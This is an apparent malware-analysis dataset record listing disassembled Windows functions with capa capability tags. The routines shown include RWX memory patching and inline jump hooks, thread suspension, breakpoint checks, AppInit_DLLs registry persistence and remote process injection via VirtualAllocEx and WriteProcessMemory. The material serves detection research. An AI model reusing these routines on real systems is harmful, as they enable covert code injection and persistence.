joyce8/EMBER2024-capa huggingface dataset:
Function at 0x102843c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
lea edi, [ebp - 0x18]
mov ecx, 6
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x102fa95e
call fcn.100e1961
mov eax, dword [0x102f6178]
mov dword [ebp - 8], eax
jmp 0x102843f7
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x10284410
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
je 0x1028440e
mov eax, dword [ebp - 8]
jmp 0x10284493
jmp 0x102843ef
mov esi, esp
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp esi, esp
call fcn.100e02ff
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10284490
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [eax + 4], 0
mov eax, dword [ebp - 8]
mov dword [eax + 8], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 4]
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x14]
add eax, 0x20
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 8]
cmp eax, 0xfe0
jbe 0x10284453
mov eax, dword [ebp - 8]
mov ecx, dword [0x102f6178]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
mov dword [0x102f6178], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.100e02ff
mov esp, ebp
pop ebp
ret
Function at 0x10285f60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x13
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x102ecc40]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x102faae6
call fcn.100e1961
imul eax, dword [ebp + 8], 0x2c
add eax, dword [0x102f6160]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x24], 5
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x10285fcd
mov eax, dword [ebp - 0x30]
sub eax, 5
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
add eax, 2
mov dword [ebp - 0x24], eax
mov esi, esp
lea eax, [ebp - 0x18]
push eax
push 0x40
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.100e02ff
test eax, eax
jne 0x10285ff8
mov eax, 0xa
jmp 0x102860fa
cmp dword [ebp + 0xc], 0
je 0x10286045
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov byte [eax], 0xe9
mov eax, dword [ebp - 0x30]
add eax, 5
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 4]
sub edx, eax
mov eax, dword [ebp - 0x3c]
mov dword [eax + 1], edx
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x10286043
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov byte [eax], 0xeb
mov eax, dword [ebp - 0x48]
mov byte [eax + 1], 0xf9
jmp 0x10286081
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x14]
and cl, 1
movzx edx, cl
test edx, edx
je 0x1028606c
push 7
mov eax, dword [ebp - 0xc]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.100e157e
add esp, 0xc
jmp 0x10286081
push 5
mov eax, dword [ebp - 0xc]
add eax, 0xc
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.100e157e
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp esi, esp
call fcn.100e02ff
mov esi, esp
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.100e02ff
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp esi, esp
call fcn.100e02ff
mov al, byte [ebp + 0xc]
and al, 1
shl al, 1
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx + 0x14]
and dl, 0xfd
or dl, al
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x14], dl
mov al, byte [ebp + 0xc]
and al, 1
shl al, 2
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx + 0x14]
and dl, 0xfb
or dl, al
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x14], dl
xor eax, eax
push edx
mov ecx, ebp
push eax
lea edx, [0x1028612c]
call fcn.100dfa9e
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100deeff
add esp, 0x10c
cmp ebp, esp
call fcn.100e02ff
mov esp, ebp
pop ebp
ret
Function at 0x10286280
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
lea edi, [ebp - 0x40]
mov ecx, 0x10
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x102ecc40]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x102faae6
call fcn.100e1961
push 0
push 4
call fcn.100decc0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x1028640b
mov dword [ebp - 0x30], 0x1c
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100de8fb
test eax, eax
je 0x102863f8
cmp dword [ebp - 0x30], 0x10
jb 0x102863dc
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, esp
call fcn.100e02ff
cmp dword [ebp - 0x24], eax
jne 0x102863dc
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, esp
call fcn.100e02ff
cmp dword [ebp - 0x28], eax
je 0x102863dc
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x10286363
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0x80
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 2
mov esi, esp
push ecx
push 0
mov edx, dword [0x102f5d18]
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp esi, esp
call fcn.100e02ff
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x10286361
jmp 0x102863f8
jmp 0x102863bc
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 8]
cmp edx, dword [ecx + 4]
jb 0x102863bc
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 1
shl ecx, 2
mov esi, esp
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0
mov ecx, dword [0x102f5d18]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
cmp esi, esp
call fcn.100e02ff
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x102863a6
jmp 0x102863f8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov edx, dword [ebp - 0x28]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
add ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 8], ecx
mov dword [ebp - 0x30], 0x1c
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100dd235
test eax, eax
jne 0x102862e1
mov esi, esp
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.100e02ff
push edx
mov ecx, ebp
push eax
lea edx, [0x1028643c]
call fcn.100dfa9e
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100deeff
add esp, 0x100
cmp ebp, esp
call fcn.100e02ff
mov esp, ebp
pop ebp
ret
Function at 0x102866e0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
lea edi, [ebp - 0x18]
mov ecx, 6
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x102faae6
call fcn.100e1961
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0
mov eax, dword [ebp + 8]
push eax
call fcn.10286280
add esp, 4
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x102867bb
mov dword [ebp - 8], 0
jmp 0x1028674c
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 8]
jae 0x102867bb
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov esi, esp
mov edx, dword [ebp - 8]
mov eax, dword [ecx + edx*4]
push eax
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp esi, esp
call fcn.100e02ff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x102867b9
mov esi, esp
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp esi, esp
call fcn.100e02ff
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.102874c0
add esp, 0xc
mov esi, esp
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.100e02ff
jmp 0x10286743
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.100e02ff
mov esp, ebp
pop ebp
ret

Function at 0x10287870
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
lea edi, [ebp - 0x18]
mov ecx, 6
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x102faae6
call fcn.100e1961
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x1028792c
mov dword [ebp - 8], 0
jmp 0x102878b3
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 8]
jae 0x1028790e
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov esi, esp
mov edx, dword [ebp - 8]
mov eax, dword [ecx + edx*4]
push eax
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
cmp esi, esp
call fcn.100e02ff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1028790c
mov esi, esp
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp esi, esp
call fcn.100e02ff
mov esi, esp
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.100e02ff
jmp 0x102878aa
mov esi, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push 0
mov edx, dword [0x102f5d18]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp esi, esp
call fcn.100e02ff
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.100e02ff
mov esp, ebp
pop ebp
ret
Function at 0x10288060
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xc]
mov ecx, 3
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov ecx, 0x102fabaa
call fcn.100e1961
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
je 0x102880c8
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
cmp eax, 0x90
je 0x102880c8
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
cmp eax, 0xcc
je 0x102880c8
xor eax, eax
jmp 0x10288109
mov dword [ebp - 8], 1
jmp 0x102880da
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x10288104
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
movzx ecx, byte [eax]
mov edx, 1
imul eax, edx, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + eax]
cmp ecx, eax
je 0x10288102
xor eax, eax
jmp 0x10288109
jmp 0x102880d1
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.100e02ff
mov esp, ebp
pop ebp
ret
Function at 0x402253
Capabilities:
Persist via appinit_dlls registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x44
lea eax, [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call eax
sub esp, 0xc
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4022a0
call sym.lastError__
mov dword [esp + 4], eax
mov dword [esp], str.ERROR:_Reading_from_registry_failed:__s_n
call sym._printf
mov eax, 1
jmp 0x402342
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], str.INFO:_Registering__s_as_AppInit_DLL_n
call sym._printf
mov dword [ebp - 0x10], str.AppInit_DLLs
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], 0xffffffff
mov edx, eax
mov eax, 0
mov ecx, dword [ebp - 0x1c]
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x14], edx
mov edx, dword [ebp + 8]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
test eax, eax
setne al
test al, al
je 0x40233d
call sym.lastError__
mov dword [esp + 4], eax
mov dword [esp], str.ERROR:_Writing_to_registry_failed:__s_n
call sym._printf
mov eax, 1
jmp 0x402342
mov eax, 0
mov edi, dword [ebp - 4]
leave
ret
Function at 0x4027fc
Capabilities:
Check if file exists
Copy file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
test eax, eax
setne al
test al, al
je 0x40286e
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402867
mov eax, dword [ebp - 0xc]
and eax, 1
test al, al
je 0x402867
mov eax, dword [ebp - 0xc]
xor eax, 1
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov eax, 1
jmp 0x402873
mov eax, 0
leave
ret

Function at 0x402878
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x90
lea eax, [ebp - 0x60]
mov ebx, eax
mov eax, 0
mov edx, 0x11
mov edi, ebx
mov ecx, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x60], 0x44
mov word [ebp - 0x30], 1
mov dword [ebp - 0x34], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call method.std::string.empty___const
xor eax, 1
test al, al
je 0x4028d3
mov eax, dword [ebp + 8]
mov dword [esp], eax
call method.std::string.c_str___const
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call method.std::string.c_str___const
lea edx, [ebp - 0x1c]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x60]
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0x10]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x40293f
mov eax, 0
jmp 0x402942
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret
Function at 0x402949
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call method.std::string.c_str___const
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4029aa
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1e
mov dword [esp + 4], 1
mov dword [esp], str.could_not_find_remote_process_n
call sym._fwrite
mov eax, 0
jmp 0x402b40
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call eax
sub esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x402a16
call sym.lastError__
mov edx, dword [sym.imp.msvcrt.dll__iob]
add edx, 0x40
mov dword [esp + 8], eax
mov dword [esp + 4], str.Failed_to_open_process:__s_n
mov dword [esp], edx
call sym._fprintf
mov eax, 0
jmp 0x402b40
mov dword [esp], str.Kernel32
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402a5c
call sym.lastError__
mov edx, dword [sym.imp.msvcrt.dll__iob]
add edx, 0x40
mov dword [esp + 8], eax
mov dword [esp + 4], str.Failed_to_find_kernel32:__s_n
mov dword [esp], edx
call sym._fprintf
mov eax, 0
jmp 0x402b40
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x402ac0
call sym.lastError__
mov edx, dword [sym.imp.msvcrt.dll__iob]
add edx, 0x40
mov dword [esp + 8], eax
mov dword [esp + 4], str.Allocating_remote_data_failed:__s_n
mov dword [esp], edx
call sym._fprintf
mov eax, 0
jmp 0x402b40
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x402b1f
call sym.lastError__
mov edx, dword [sym.imp.msvcrt.dll__iob]
add edx, 0x40
mov dword [esp + 8], eax
mov dword [esp + 4], str.Writing_remote_data_failed:__s_n
mov dword [esp], edx
call sym._fprintf
mov eax, 0
jmp 0x402b40
cmp dword [ebp + 0x18], 0
je 0x402b2d
mov eax, dword [ebp + 0x18]
mov edx, dword [ebp - 0x18]
mov dword [eax], edx
cmp dword [ebp + 0x14], 0
je 0x402b3b
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0x10]
mov dword [eax], edx
mov eax, 1
leave
ret
Function at 0x408d90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x3c
cmp dword [edx], 0x2c
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], ebp
je 0x408dc0
mov ebx, dword [esp + 0x2c]
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov ebp, dword [esp + 0x38]
add esp, 0x3c
jmp fcn.00405200
mov edx, dword [edx + 4]
mov edi, dword [edx + 8]
mov ebp, dword [edx + 4]
test edi, edi
je 0x408e48
lea ecx, [eax + 4]
mov edx, dword [eax + 0x104]
xor ebx, ebx
mov dword [esp + 0x1c], ecx
mov esi, eax
jmp 0x408dfc
mov ecx, edx
add edx, 1
add ebx, 1
cmp edi, ebx
mov byte [esi + ecx + 4], al
mov dword [esi + 0x104], edx
mov byte [esi + 0x108], al
je 0x408e48
cmp edx, 0xff
movzx eax, byte [ebp + ebx]
jne 0x408de0
mov edx, dword [esi + 0x110]
mov byte [esi + 0x103], 0
mov byte [esp + 0x18], al
mov dword [esp + 4], 0xff
mov dword [esp + 8], edx
mov edx, dword [esp + 0x1c]
mov dword [esp], edx
call dword [esi + 0x10c]
mov edx, 1
xor ecx, ecx
add dword [esi + 0x124], 1
movzx eax, byte [esp + 0x18]
jmp 0x408de5
mov ebx, dword [esp + 0x2c]
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov ebp, dword [esp + 0x38]
add esp, 0x3c
ret

Function at 0x408e60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, eax
sub esp, 0x28
mov eax, dword [edx]
cmp eax, 6
je 0x408e71
test eax, eax
jne 0x408e80
add esp, 0x28
mov eax, ebx
pop ebx
jmp fcn.00405200
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
lea ecx, [eax + 1]
je 0x408ed0
mov byte [ebx + eax + 4], 0x28
mov eax, ebx
mov dword [ebx + 0x104], ecx
mov byte [ebx + 0x108], 0x28
call fcn.00405200
mov eax, dword [ebx + 0x104]
cmp eax, 0xff
lea edx, [eax + 1]
je 0x408f10
mov byte [ebx + eax + 4], 0x29
mov dword [ebx + 0x104], edx
mov byte [ebx + 0x108], 0x29
add esp, 0x28
pop ebx
ret
mov eax, dword [ebx + 0x110]
mov dword [esp + 0x1c], edx
mov byte [ebx + 0x103], 0
mov dword [esp + 4], 0xff
mov dword [esp + 8], eax
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov ecx, 1
xor eax, eax
add dword [ebx + 0x124], 1
mov edx, dword [esp + 0x1c]
jmp 0x408e90
mov eax, dword [ebx + 0x110]
mov byte [ebx + 0x103], 0
mov dword [esp + 4], 0xff
mov dword [esp + 8], eax
lea eax, [ebx + 4]
mov dword [esp], eax
call dword [ebx + 0x10c]
mov edx, 1
xor eax, eax
add dword [ebx + 0x124], 1
jmp 0x408eb9

Function at 0x409890
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [esp + 0x24]
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp sym.___write_memory.part.0
Function at 0x4098f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, ecx
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x4c
mov ecx, dword [0x41b060]
mov dword [esp + 0x1c], edx
test ecx, ecx
jle 0x4099f9
mov eax, dword [0x41b05c]
xor esi, esi
mov edx, dword [eax + 4]
cmp ebx, edx
jb 0x409929
mov edi, dword [eax + 8]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4099ac
add esi, 1
add eax, 0xc
cmp esi, ecx
jne 0x409914
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x409a20
lea edx, [esi + esi*2]
mov esi, dword [0x41b05c]
shl edx, 2
add esi, edx
mov dword [esi + 8], eax
mov dword [esi], 0
mov dword [esp + 0x18], edx
call dbg._GetPEImageBase
mov edx, dword [esp + 0x18]
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [0x41b05c]
mov dword [esp + 8], 0x1c
mov eax, dword [eax + edx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
mov edx, dword [esp + 0x18]
je 0x409a00
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x4099c8
add dword [0x41b060], 1
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], ebp
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, 0x40
je 0x4099a5
mov eax, dword [esp + 0x30]
add edx, dword [0x41b05c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0xc], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
jmp 0x4099a5
xor esi, esi
jmp 0x409933
mov eax, dword [0x41b05c]
mov eax, dword [eax + edx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error

Function at 0x409ce0
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
cmp word [edx], 0x5a4d
je 0x409cf0
repz ret
add edx, dword [edx + 0x3c]
cmp dword [edx], 0x4550
jne 0x409ced
xor eax, eax
cmp word [edx + 0x18], 0x10b
sete al
ret

Function at 0x40a2b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x41b3c4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x41b3dc]
sub esp, 4
test ebx, ebx
je 0x40a305
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40a2fe
test esi, esi
je 0x40a2fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40a2e0
mov dword [esp], 0x41b3c4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret